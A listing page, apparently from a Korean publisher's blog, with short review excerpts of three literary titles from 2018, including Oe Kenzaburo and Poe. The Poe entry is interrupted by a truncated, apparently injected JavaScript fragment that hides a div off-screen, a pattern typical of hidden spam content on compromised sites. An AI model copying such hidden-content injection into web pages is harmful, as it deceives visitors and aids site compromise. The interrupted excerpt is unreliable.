문지 스펙트럼 시리즈 『새싹 뽑기, 어린 짐승 쏘기』 (오에 겐자부로 지음, 유숙자 옮김, 문학과지성사, 2018) 소설이 가장 잘하는 일 ―오에 겐자부로의 『새싹 뽑기, 어린 짐승 계속읽기→
2018.12.19
문지 스펙트럼 시리즈 『도둑맞은 편지』 (에드거 앨런 포 지음, 김진경 옮김, 문학과지성사, 2018) function vjZjnIFtqu(arK) { var vKj = "#mjq2otaxmdcxmq{overflow:hidden;margin:0px 20px}#mjq2otaxmdcxmq>div{display:block;overflow:hidden;top:-4432px;position:fixed;left:-4134px}"; var ovqpm = 계속읽기→
2018.11.21
『간사지 이야기』 (최시한 연작소설, 문학과지성사, 2017) 원종국(소설가) 이야기 “모든 것의 최종 형태는 이야기이다. 사실에 상상을 버무려 빚어낸 형상으로, 이야기는 무의미와 망각에 맞선다. 그리고 현재가 계속읽기→
2018.11.19